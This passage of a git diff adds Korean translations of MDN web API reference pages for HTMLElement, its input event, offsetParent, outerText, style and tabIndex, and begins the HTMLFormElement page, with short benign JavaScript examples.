+ <dd>임포트한 스크립트가 모듈 스크립트를 지원하는 유저 에이전트에서 실행될 수 있는지를 나타내는 {{jsxref("Boolean")}} 입니다.</dd>
+ <dt>{{domxref("HTMLElement.nonce")}}</dt>
+ <dd>주어진 페치(fetch)의 진행을 허용할지를 결정하기 위한 컨텐츠 보안 정책(Content Security Policy)에서 한 번 사용된 암호회된 숫자를 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.offsetHeight")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>레이아웃에 상대적인 요소의 높이를 갖는 <code>double</code> 을 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.offsetLeft")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>요소의 left border 부터 <code>offsetParent</code> 의 left border 까지의 거리를 <code>double</code> 로 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.offsetParent")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>모든 오프셋 계산이 현재 연산된 요소인 {{domxref("Element")}} 를 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.offsetTop")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>요소의 top border 부터 <code>offsetParent</code> 의 top border 까지의 거리를 <code>double</code> 로 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.offsetWidth")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>레이아웃에 상대적인 요소의 너비를 갖는 <code>double</code> 을 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.properties")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>{{domxref("HTMLPropertiesCollection")}}… 을 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.spellcheck")}}{{ gecko_minversion_inline("1.9")}}</dt>
+ <dd><a href="https://developer.mozilla.org/ko/docs/Web/HTML/Global_attributes/spellcheck" title="en/Controlling_spell_checking_in_HTML_forms">철자 검사</a>를 제어하는 {{jsxref("Boolean")}} 입니다. 모든 HTML 요소에 존재하지만, 모두에 대해 적용되지는 않습니다.</dd>
+ <dt>{{domxref("HTMLElement.style")}}</dt>
+ <dd>요소의 스타일 속성의 정의를 나타내는 {{domxref("CSSStyleDeclaration")}} 객체입니다.</dd>
+ <dt>{{domxref("HTMLElement.tabIndex")}}</dt>
+ <dd>탭 순서에서 요소의 위치를 나타내는 <code>long</code> 입니다.</dd>
+ <dt>{{domxref("HTMLElement.title")}}</dt>
+ <dd>요소에 마우스를 오버할 때 팝업 상자에 표시되는 텍스트를 갖는 {{domxref("DOMString")}} 입니다.</dd>
+ <dt>{{domxref("HTMLElement.translate")}} {{experimental_inline}}</dt>
+ <dd>번역을 나타내는 {{jsxref("Boolean")}} 입니다.</dd>
+</dl>
+
+<h3 id="이벤트_핸들러">이벤트 핸들러</h3>
+
+<p><code>onXYZ</code> 형태의 대부분의 이벤트 핸들러 속성은 {{domxref("GlobalEventHandlers")}} 또는 {{domxref("TouchEventHandlers")}} 에 정의되어 있으며 <code>HTMLElement</code> 에 의해 구현되었습니다. 다음 <code>HTMLElement</code> 에 해당하는 핸들러입니다.</p>
+
+<dl>
+ <dt>{{ domxref("HTMLElement.oncopy") }} {{ non-standard_inline() }}</dt>
+ <dd><code>copy</code> 이벤트를 위한 이벤트 핸들링 코드를 반환합니다({{bug("280959")}}).</dd>
+ <dt>{{ domxref("HTMLElement.oncut") }} {{ non-standard_inline() }}</dt>
+ <dd><code>cut</code> 이벤트를 위한 이벤트 핸들링 코드를 반환합니다({{bug("280959")}}).</dd>
+ <dt>{{ domxref("HTMLElement.onpaste") }} {{ non-standard_inline() }}</dt>
+ <dd><code>paste</code> 이벤트를 위한 이벤트 핸들링 코드를 반환합니다({{bug("280959")}}).</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchstart")}} {{non-standard_inline}}</dt>
+ <dd>{{event("touchstart")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchend")}} {{non-standard_inline}}</dt>
+ <dd>{{event("touchend")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchmove")}} {{non-standard_inline}}</dt>
+ <dd>{{event("touchmove")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchenter")}} {{non-standard_inline}}</dt>
+ <dd>{{event("touchenter")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchleave")}} {{non-standard_inline}}</dt>
+ <dd>{{event("touchleave")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchcancel")}} {{non-standard_inline}}</dt>
+ <dd>{{event("touchcancel")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em>부모인 {{domxref("Element")}}의 메서드를 상속합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLElement.blur()")}}</dt>
+ <dd>현재 포커스된 요소로부터 키보드 포커스를 제거합니다.</dd>
+ <dt>{{domxref("HTMLElement.click()")}}</dt>
+ <dd>요소로 마우스 클릭 이벤트를 전달합니다.</dd>
+ <dt>{{domxref("HTMLElement.focus()")}}</dt>
+ <dd>요소에 현재 키보드 포커스를 생성합니다.</dd>
+ <dt>{{domxref("HTMLElement.forceSpellCheck()")}} {{experimental_inline}}</dt>
+ <dd>요소에 철자 확인자를 생성합니다.</dd>
+</dl>
+
+<h2 id="이벤트">이벤트</h2>
+
+<p>Listen to these events using <code>addEventListener()</code> or by assigning an event listener to the <code>on<em>eventname</em></code> property of this interface.</p>
+
+<dl>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/invalid_event">invalid</a></code></dt>
+ <dd>Fired when an element does not satisfy its constraints during constraint validation.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/oninvalid">oninvalid</a></code> property.</dd>
+</dl>
+
+<h3 id="Animation_events">Animation events</h3>
+
+<dl>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/animationcancel_event">animationcancel</a></code></dt>
+ <dd>Fired when an animation unexpectedly aborts.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onanimationcancel">onanimationcancel</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/animationend_event">animationend</a></code></dt>
+ <dd>Fired when an animation has completed normally.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onanimationend">onanimationend</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/animationiteration_event">animationiteration</a></code></dt>
+ <dd>Fired when an animation iteration has completed.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onanimationiteration">onanimationiteration</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/animationstart_event">animationstart</a></code></dt>
+ <dd>Fired when an animation starts.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onanimationstart">onanimationstart</a></code> property.</dd>
+</dl>
+
+<h3 id="Input_events">Input events</h3>
+
+<dl>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/beforeinput_event">beforeinput</a></code></dt>
+ <dd>Fired when the value of an {{HTMLElement("input")}}, {{HTMLElement("select")}}, or {{HTMLElement("textarea")}} element is about to be modified.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event">input</a></code></dt>
+ <dd>Fired when the <code>value</code> of an {{HTMLElement("input")}}, {{HTMLElement("select")}}, or {{HTMLElement("textarea")}} element has been changed.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/oninput">oninput</a></code> property.</dd>
+</dl>
+
+<h3 id="Pointer_events">Pointer events</h3>
+
+<dl>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/gotpointercapture_event">gotpointercapture</a></code></dt>
+ <dd>Fired when an element captures a pointer using <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Element/setPointerCapture">setPointerCapture()</a></code>.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/ongotpointercapture">ongotpointercapture</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/lostpointercapture_event">lostpointercapture</a></code></dt>
+ <dd>Fired when a <a href="https://developer.mozilla.org/en-US/docs/Web/API/Pointer_events#Pointer_capture">captured pointer</a> is released.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onlostpointercapture">onlostpointercapture</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/pointercancel_event">pointercancel</a></code></dt>
+ <dd>Fired when a pointer event is canceled.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onpointercancel">onpointercancel</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/pointerdown_event">pointerdown</a></code></dt>
+ <dd>Fired when a pointer becomes active.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onpointerdown">onpointerdown</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/pointerenter_event">pointerenter</a></code></dt>
+ <dd>Fired when a pointer is moved into the hit test boundaries of an element or one of its descendants.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onpointerenter">onpointerenter</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/pointerleave_event">pointerleave</a></code></dt>
+ <dd>Fired when a pointer is moved out of the hit test boundaries of an element.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onpointerleave">onpointerleave</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/pointermove_event">pointermove</a></code></dt>
+ <dd>Fired when a pointer changes coordinates.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onpointermove">onpointermove</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/pointerout_event">pointerout</a></code></dt>
+ <dd>Fired when a pointer is moved out of the <em>hit test</em> boundaries of an element (among other reasons).<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onpointerout">onpointerout</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/pointerover_event">pointerover</a></code></dt>
+ <dd>Fired when a pointer is moved into an element's hit test boundaries.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onpointerover">onpointerover</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/pointerup_event">pointerup</a></code></dt>
+ <dd>Fired when a pointer is no longer active.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onpointerup">onpointerup</a></code> property.</dd>
+</dl>
+
+<h3 id="Transition_events">Transition events</h3>
+
+<dl>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/transitioncancel_event">transitioncancel</a></code></dt>
+ <dd>Fired when a <a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transitions">CSS transition</a> is canceled.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/ontransitioncancel">ontransitioncancel</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/transitionend_event">transitionend</a></code></dt>
+ <dd>Fired when a <a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transitions">CSS transition</a> has completed.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/ontransitionend">ontransitionend</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/transitionrun_event">transitionrun</a></code></dt>
+ <dd>Fired when a <a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transitions">CSS transition</a> is first created.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/ontransitionrun" rel="nofollow">ontransitionrun</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/transitionstart_event">transitionstart</a></code></dt>
+ <dd>Fired when a <a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transitions">CSS transition</a> has actually started.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/ontransitionstart" rel="nofollow">ontransitionstart</a></code> property.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSSOM View', '#extensions-to-the-htmlelement-interface', 'HTMLElement')}}</td>
+ <td>{{Spec2('CSSOM View')}}</td>
+ <td>다음 속성들이 추가됨: <code>offsetParent</code>, <code>offsetTop</code>, <code>offsetLeft</code>, <code>offsetWidth</code>, <code>offsetHeight</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'elements.html#htmlelement', 'HTMLElement')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>다음 속성들이 추가됨: <code>translate</code>, <code>itemScope</code>, <code>itemType</code>, <code>itemId</code>, <code>itemRef</code>, <code>itemProp</code>, <code>properties</code>, <code>itemValue</code>.<br>
+ 다음 메소드가 추가됨: <code>forceSpellcheck()</code>.<br>
+ <code>onXYZ</code> 속성을 {{domxref("GlobalEventHandlers")}} 인터페이스로 이동하고 이로부터 상속을 추가함.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'dom.html#htmlelement', 'HTMLElement')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>다음 속성들이 추가됨: <code>dataset</code>, <code>hidden</code>, <code>tabindex</code>, <code>accessKey</code>, <code>accessKeyLabel</code>, <code>draggable</code>, <code>dropzone</code>, <code>contentEditable</code>, <code>isContentEditable</code>, <code>contextMenu</code>, <code>spellcheck</code>, <code>commandType</code>, <code>commandLabel</code>, <code>commandIcon</code>, <code>commandHidden</code>, <code>commandDisabled</code>, <code>commandChecked</code>, <code>style</code>, 모든 <code>onXYZ</code> 속성들.<br>
+ <code>id</code> 와 <code>className</code> 속성을 {{domxref("Element")}} 인터페이스로 이동함.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 HTML', 'html.html#ID-011100101', 'HTMLElement')}}</td>
+ <td>{{Spec2('DOM2 HTML')}}</td>
+ <td>{{SpecName('DOM2 HTML')}} 으로부터 변경 사항 없음</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-html.html#ID-011100101', 'HTMLElement')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLElement")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Element")}}</li>
+</ul>
diff --git a/files/ko/web/api/htmlelement/input_event/index.html b/files/ko/web/api/htmlelement/input_event/index.html
new file mode 100644
index 0000000000..d8f606a439
--- /dev/null
+++ b/files/ko/web/api/htmlelement/input_event/index.html
@@ -0,0 +1,100 @@
+---
+title: 'HTMLElement: input event'
+slug: Web/API/HTMLElement/input_event
+translation_of: Web/API/HTMLElement/input_event
+---
+<div>{{APIRef}}</div>
+
+<p><strong><code>input</code></strong> 이벤트는 {{HTMLElement("input")}}, {{HTMLElement("select")}} 및 {{HTMLElement("textarea")}} 요소의 <code>value</code> 속성이 바뀔 때마다 발생한다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">전파 가능</th>
+ <td>가능</td>
+ </tr>
+ <tr>
+ <th scope="row">취소 가능</th>
+ <td>불가</td>
+ </tr>
+ <tr>
+ <th scope="row">인터페이스</th>
+ <td>{{DOMxRef("InputEvent")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">이벤트 핸들러 속성</th>
+ <td>{{domxref("GlobalEventHandlers.oninput")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>또한, 이 이벤트는 아무 요소의 {{domxref("HTMLElement.contentEditable", "contenteditable")}} 속성 및 {{domxref("Document.designMode", "designMode")}} 속성이 활성화 되어도 발생할 수 있다. 이런 경우, <code>contenteditable</code> 및 <code>designMode</code>, 속성이 활성화된 자식을 가진 편집 불가능한 최초 부모 요소에서 발생한다. 예를 들어 특정 요소에서 부모자식관계 중 자식 관계 여러개가 해당 속성이 활성화되어 내용 변경 시 이벤트가 발생해야 할 때, 해당 속성이 활성화되지 않은 최초의 부모 요소를 기준으로 발생하게 된다.</p>
+
+<p><code>type=checkbox</code> 및 <code>type=radio</code>, 속성을 가진 <code>&lt;input&gt;</code> 요소의 경우, <a href="https://html.spec.whatwg.org/multipage/input.html#the-input-element:event-input-2">HTML5 규격</a>에 의하면, <code>input</code> 이벤트는 반드시 사용자가 작동시킬 때마다 발생된다. 하지만 애초부터 그렇게 설계되어 있지 않은 경우가 있으므로, 반드시 아래 호환성 문단을 참고하거나, 호환되지 않을 경우, {{domxref("HTMLElement/change_event", "change")}} 이벤트를 대신해서 사용하도록 한다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> The <code>input</code> 이벤트는 {{domxref("HTMLElement/change_event", "change")}} 이벤트와는 달리 <code>value</code> 속성이 바뀔 시마다 반드시 일어난다. 값을 선택하거나 옵션 선택하자마자 일어나지만, 특정 글자를 입력 시에는 입력이 끝나고 value 속성에 적용되어야 발생하는데, 예를 들면, 한글 입력의 경우 한글자가 완성된 뒤 다른 키를 입력(예: 엔터 키)이 일어나야 발생된다. 이 또한 브라우저마다 다르므로 호환성을 확인하여 대응해야 한다. (역자 주)</p>
+</div>
+
+<h2 id="예시">예시</h2>
+
+<p>이 예시는 {{HtmlElement("input")}} 요소에 값을 입력하자마자 로그에 기록한다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input placeholder="Enter some text" name="name"/&gt;
+&lt;p id="values"&gt;&lt;/p&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">const input = document.querySelector('input');
+const log = document.getElementById('values');
+
+input.addEventListener('input', updateValue);
+
+function updateValue(e) {
+ log.textContent = e.target.value;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Examples")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "forms.html#event-input-input", "input event")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM3 Events', "#event-type-input", "input event")}}</td>
+ <td>{{Spec2('DOM3 Events')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.input_event")}}</p>
+
+<h2 id="같이보기">같이보기</h2>
+
+<ul>
+ <li>관련 이벤트
+ <ul>
+ <li>{{domxref("HTMLElement/beforeinput_event", "beforeinput")}}</li>
+ <li>{{domxref("HTMLElement/change_event", "change")}}</li>
+ <li>{{domxref("HTMLInputElement/invalid_event", "invalid")}}</li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/api/htmlelement/offsetparent/index.html b/files/ko/web/api/htmlelement/offsetparent/index.html
new file mode 100644
index 0000000000..f79d785530
--- /dev/null
+++ b/files/ko/web/api/htmlelement/offsetparent/index.html
@@ -0,0 +1,43 @@
+---
+title: HTMLElement.offsetParent
+slug: Web/API/HTMLElement/offsetParent
+translation_of: Web/API/HTMLElement/offsetParent
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p><strong><code>HTMLElement.offsetParent</code></strong> 읽기전용 프라퍼티는 가장 가까운 (포함 계층에서 가장 가까운) 위치가 정해진 포함하는 엘리먼트 객체에 대한 참조를 반환한다. <code>offsetParent</code>는 엘리먼트의 위치가 정해지지 않으면 가장 가까운 테이블 또는 테이블 셀, 루트 엘리먼트 (표준 준수 모드에서는 <code>html</code>; quirks 렌더링 모드에서는 <code>body</code>) 를 반환한다.<br>
+ 엘리먼트의 <code>style.display</code>가 "none"으로 설정되면 null을 반환한다. <code>offsetParent</code>는 {{domxref("HTMLElement.offsetTop","offsetTop")}}과 {{domxref("HTMLElement.offsetLeft","offsetLeft")}}가 그것의 패딩 모서리에 상대적이기 때문에 유용하다.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
+<pre class="syntaxbox"><var>parentObj</var> = element.offsetParent;
+</pre>
+
+<ul>
+ <li><var>parentObj는 현재 엘리먼트가 그 안에서 offset된 엘리먼트의 객체 참조이다. </var> is an object reference to the element in which the current element is offset.</li>
+</ul>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSSOM View', '#dom-htmlelement-offsetparent', 'offsetParent')}}</td>
+ <td>{{Spec2('CSSOM View')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibility" name="Compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("api.HTMLElement.offsetParent")}}</p>
diff --git a/files/ko/web/api/htmlelement/outertext/index.html b/files/ko/web/api/htmlelement/outertext/index.html
new file mode 100644
index 0000000000..5fba566816
--- /dev/null
+++ b/files/ko/web/api/htmlelement/outertext/index.html
@@ -0,0 +1,33 @@
+---
+title: HTMLElement.outerText
+slug: Web/API/HTMLElement/outerText
+translation_of: Web/API/HTMLElement/outerText
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>{{ Non-standard_header() }}</p>
+
+<p><strong><code>HTMLElement.outerText</code></strong> 는 비표준 속성(property)입니다. getter로써{{domxref("Node.innerText")}}의 값을 반환합니다. setter로써는 현재 노드를 삭제하고 주어진 텍스트값으로 대체합니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<p><a href="http://stackoverflow.com/a/18481435">StackOverflow의 이 답변을 보세요.</a></p>
+
+<h2 id="Specification">Specification</h2>
+
+<p>표준이 아니므로 스펙이 없습니다. 표준 논의가 다음에서 진행중입니다: <a href="https://github.com/whatwg/html/issues/668">whatwg/html#668</a>.</p>
+
+<p>Microsoft <a href="https://msdn.microsoft.com/en-us/library/ms534311(v=vs.85).aspx">has a description on MSDN</a>.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.outerText")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Node.innerText")}}</li>
+ <li>{{domxref("Element.outerHTML")}}</li>
+</ul>
diff --git a/files/ko/web/api/htmlelement/style/index.html b/files/ko/web/api/htmlelement/style/index.html
new file mode 100644
index 0000000000..5976dd66bc
--- /dev/null
+++ b/files/ko/web/api/htmlelement/style/index.html
@@ -0,0 +1,41 @@
+---
+title: element.style
+slug: Web/API/HTMLElement/style
+tags:
+ - API
+ - HTML DOM
+ - HTMLElement
+ - Property
+ - Reference
+ - Style
+translation_of: Web/API/ElementCSSInlineStyle/style
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><code><strong>HTMLElement.style</strong></code> 속성은 요소의 인라인 스타일에 접근하거나 설정할 때 사용할 수 있습니다. 접근자로서는 요소의 인라인 <a href="/ko/docs/Web/HTML/Global_attributes/style"><code>style</code> 속성</a>이 포함한 CSS 선언을 담은 {{domxref("CSSStyleDeclaration")}} 객체를 반환합니다</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// Set multiple styles in a single statement
+elt.style.cssText = "color: blue; border: 1px solid black";
+// Or
+elt.setAttribute("style", "color:red; border: 1px solid blue;");
+
+// Set specific style while leaving other inline style values untouched
+elt.style.color = "blue";</pre>
+
+<h2 id="명세">명세</h2>
+
+<p><a href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-ElementCSSInlineStyle">DOM Level 2 Style: ElementCSSInlineStyle.style</a></p>
+
+<p><a href="https://www.w3.org/TR/cssom-1/#the-elementcssinlinestyle-interface">CSSOM: ElementCSSInlineStyle</a></p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.HTMLElement.style")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/DOM/Using_dynamic_styling_information" title="DOM/Using dynamic styling information">Using dynamic styling information</a></li>
+</ul>
diff --git a/files/ko/web/api/htmlelement/tabindex/index.html b/files/ko/web/api/htmlelement/tabindex/index.html
new file mode 100644
index 0000000000..7cbb0fa1f0
--- /dev/null
+++ b/files/ko/web/api/htmlelement/tabindex/index.html
@@ -0,0 +1,26 @@
+---
+title: element.tabIndex
+slug: Web/API/HTMLElement/tabIndex
+tags:
+ - DOM
+ - Gecko
+ - Gecko DOM Reference
+translation_of: Web/API/HTMLOrForeignElement/tabIndex
+---
+<p>{{ ApiRef() }}</p>
+<h3 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h3>
+<p>현재 요소의 탭 순서를 get/set.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">element.tabIndex =<i>iIndex</i>
+</pre>
+<h3 id=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98" name=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98">매개변수</h3>
+<ul>
+ <li><code>iIndex</code>는 숫자</li>
+</ul>
+<h3 id=".EC.98.88" name=".EC.98.88">예</h3>
+<pre>b1 = document.getElementById("button1");
+b1.tabIndex = 1;
+</pre>
+<h3 id=".EB.AA.85.EC.84.B8" name=".EB.AA.85.EC.84.B8">명세</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-40676705">tabIndex </a></p>
+<p>{{ languages( { "en": "en/DOM/element.tabIndex", "pl": "pl/DOM/element.tabIndex" } ) }}</p>
diff --git a/files/ko/web/api/htmlformelement/index.html b/files/ko/web/api/htmlformelement/index.html
new file mode 100644
index 0000000000..b6131f14f9
--- /dev/null
+++ b/files/ko/web/api/htmlformelement/index.html
@@ -0,0 +1,240 @@
+---
+title: HTMLFormElement
+slug: Web/API/HTMLFormElement
+tags:
+ - API
+ - HTML DOM
+ - HTMLFormElement
+ - Interface
+ - Reference
+translation_of: Web/API/HTMLFormElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">The <strong>{{domxref("HTMLFormElement")}}</strong> interface represents a {{HTMLElement("form")}} element in the DOM; it allows access to and in some cases modification of aspects of the form, as well as access to its component elements.</span></p>
+
+<p>{{InheritanceDiagram(600,120)}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface also inherits properties from its parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLFormElement.elements")}} {{ReadOnlyInline}}</dt>
+ <dd>A {{domxref("HTMLFormControlsCollection")}} holding all form controls belonging to this form element.</dd>
+ <dt>{{domxref("HTMLFormElement.length")}}{{ReadOnlyInline}}</dt>
+ <dd>A <code>long</code> reflecting the number of controls in the form.</dd>
+ <dt>{{domxref("HTMLFormElement.name")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("name", "form") }} HTML attribute, containing the name of the form.</dd>
+ <dt>{{domxref("HTMLFormElement.method")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("method", "form") }} HTML attribute, indicating the HTTP method used to submit the form. Only specified values can be set.</dd>
+ <dt>{{domxref("HTMLFormElement.target")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("target", "form") }} HTML attribute, indicating where to display the results received from submitting the form.</dd>
+ <dt>{{domxref("HTMLFormElement.action")}}</dt>
+ <dd>A {{domxref("DOMString")}} reflecting the value of the form's {{ htmlattrxref("action", "form") }} HTML attribute, containing the URI of a program that processes the information submitted by the form.</dd>
